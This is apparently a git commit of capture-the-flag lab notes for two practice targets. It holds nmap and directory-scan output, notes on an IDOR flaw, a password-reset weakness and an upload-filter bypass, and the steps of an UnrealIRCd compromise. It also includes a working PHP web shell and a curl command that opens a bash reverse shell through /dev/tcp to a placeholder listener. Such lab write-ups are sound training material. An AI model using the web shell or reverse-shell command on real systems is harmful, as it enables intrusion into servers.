2026-06-05
This commit is contained in:
@@ -0,0 +1,5 @@
|
||||
Exploitation Steps:
|
||||
|
||||
1. Obtain a low-privileged shell on the target system, via UnrealIRCD exploit.
|
||||
2. Read the contents of /etc/password.txt using cat /etc/password.txt.
|
||||
3. Use the discovered root password to escalate privileges via ssh root@IP.
|
||||
@@ -0,0 +1,25 @@
|
||||
# Nmap 7.99 scan initiated Sun May 31 10:43:02 2026 as: /usr/lib/nmap/nmap --privileged -sV -sC -p- -oN nmap_scan01.txt 10.80.133.13
|
||||
Nmap scan report for 10.80.133.13
|
||||
Host is up (0.057s latency).
|
||||
Not shown: 65533 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 b1:3e:c2:56:97:97:4b:c7:2e:dd:a7:49:d3:ee:90:08 (ECDSA)
|
||||
|_ 256 74:6c:01:a3:6c:6d:7b:17:09:f6:38:d0:11:ad:0f:4c (ED25519)
|
||||
6667/tcp open irc UnrealIRCd
|
||||
| irc-info:
|
||||
| users: 1
|
||||
| servers: 1
|
||||
| lusers: 1
|
||||
| lservers: 0
|
||||
| server: irc.pentest-target.thm
|
||||
| version: Unreal3.2.8.1. irc.pentest-target.thm
|
||||
| uptime: 0 days, 0:05:14
|
||||
| source ident: nmap
|
||||
| source host: ip-192-168-138-181.eu-west-1.compute.internal
|
||||
|_ error: Closing Link: jkzwzulpy[ip-192-168-138-181.eu-west-1.compute.internal] (Quit: jkzwzulpy)
|
||||
Service Info: Host: irc.pentest-target.thm; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Sun May 31 10:46:16 2026 -- 1 IP address (1 host up) scanned in 194.45 seconds
|
||||
@@ -0,0 +1,7 @@
|
||||
Original URL after Login
|
||||
|
||||
http://10.80.158.146/profile.php?id=6
|
||||
|
||||
IDOR vulnerable
|
||||
|
||||
http://10.80.158.146/profile.php?id=1
|
||||
@@ -0,0 +1 @@
|
||||
s.mitchell@recruitx.thm
|
||||
@@ -0,0 +1,5 @@
|
||||
1. Enumeration: We discovered the application's technology stack (Apache, PHP, MySQL), its directory structure, an API endpoint, a password reset page, an uploads directory, and an admin panel.
|
||||
2. IDOR (Task 3): The /profile.php?id= parameter and the /api/user?id= endpoint allowed us to enumerate all users, including the administrator's name and email address.
|
||||
3. Weak Password Reset (Task 4): The reset mechanism displayed tokens directly in the HTTP response, allowing us to generate a token for the administrator and change her password.
|
||||
4. Admin Panel Access (Task 5): Using the compromised administrator account, we accessed the admin panel and found a file upload function with an incomplete extension blocklist.
|
||||
5. Remote Code Execution (Task 6): We uploaded a PHP web shell using the .phtml extension, which bypassed the filter. This gave us command execution on the server and a path to a full reverse shell.
|
||||
@@ -0,0 +1,15 @@
|
||||
index.php [32m (Status: 200)[0m [Size: 21600]
|
||||
login.php [32m (Status: 200)[0m [Size: 15107]
|
||||
register.php [32m (Status: 200)[0m [Size: 14802]
|
||||
profile.php [36m (Status: 302)[0m [Size: 0][34m [--> /login.php][0m
|
||||
jobs.php [32m (Status: 200)[0m [Size: 27698]
|
||||
uploads [36m (Status: 301)[0m [Size: 316][34m [--> http://10.80.158.146/uploads/][0m
|
||||
data [33m (Status: 403)[0m [Size: 278]
|
||||
admin [36m (Status: 301)[0m [Size: 314][34m [--> http://10.80.158.146/admin/][0m
|
||||
test [32m (Status: 200)[0m [Size: 705]
|
||||
includes [36m (Status: 301)[0m [Size: 317][34m [--> http://10.80.158.146/includes/][0m
|
||||
api [36m (Status: 301)[0m [Size: 312][34m [--> http://10.80.158.146/api/][0m
|
||||
logout.php [36m (Status: 302)[0m [Size: 0][34m [--> /login.php][0m
|
||||
config [36m (Status: 301)[0m [Size: 315][34m [--> http://10.80.158.146/config/][0m
|
||||
dashboard.php [36m (Status: 302)[0m [Size: 0][34m [--> /login.php][0m
|
||||
reset.php [32m (Status: 200)[0m [Size: 14408]
|
||||
@@ -0,0 +1,25 @@
|
||||
# Nmap 7.99 scan initiated Sat May 30 21:03:47 2026 as: /usr/lib/nmap/nmap --privileged -sV -sC -p- -oN nmap_scan01.txt 10.80.158.146
|
||||
Nmap scan report for 10.80.158.146
|
||||
Host is up (0.049s latency).
|
||||
Not shown: 65531 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 cb:60:76:ef:27:b1:ba:4a:7d:ed:b0:78:ae:ad:21:46 (ECDSA)
|
||||
|_ 256 4e:c2:ef:35:5f:b0:e4:02:0e:30:a2:3f:e7:e2:6a:80 (ED25519)
|
||||
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|
||||
|_http-title: RecruitX - Home
|
||||
|_http-server-header: Apache/2.4.58 (Ubuntu)
|
||||
| http-cookie-flags:
|
||||
| /:
|
||||
| PHPSESSID:
|
||||
|_ httponly flag not set
|
||||
3306/tcp open mysql MySQL (unauthorized)
|
||||
8080/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|
||||
|_http-server-header: Apache/2.4.58 (Ubuntu)
|
||||
|_http-open-proxy: Proxy might be redirecting requests
|
||||
|_http-title: Apache2 Ubuntu Default Page: It works
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Sat May 30 21:07:33 2026 -- 1 IP address (1 host up) scanned in 226.96 seconds
|
||||
@@ -0,0 +1 @@
|
||||
curl "http://10.80.158.146/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/CONNECTION_IP/4444+0>%261'"
|
||||
@@ -0,0 +1,5 @@
|
||||
<?php
|
||||
if(isset($_GET['cmd'])) {
|
||||
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1 @@
|
||||
<?php echo "PHP is executing"; ?>
|
||||
@@ -0,0 +1 @@
|
||||
<?php echo "PHP is executing"; ?>
|
||||
@@ -0,0 +1 @@
|
||||
Hello World
|
||||
Reference in New Issue
Block a user